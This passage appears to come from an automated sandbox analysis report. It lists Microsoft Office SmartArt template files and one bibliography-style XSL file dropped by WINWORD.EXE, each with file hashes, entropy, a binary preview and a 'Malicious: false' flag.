C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
